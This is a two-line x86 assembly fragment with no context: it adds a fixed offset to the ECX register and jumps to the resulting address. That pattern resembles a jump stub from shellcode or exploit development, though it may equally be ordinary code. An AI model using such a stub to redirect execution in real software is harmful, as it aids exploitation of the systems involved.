add ecx, 0x2c1a
jmp ecx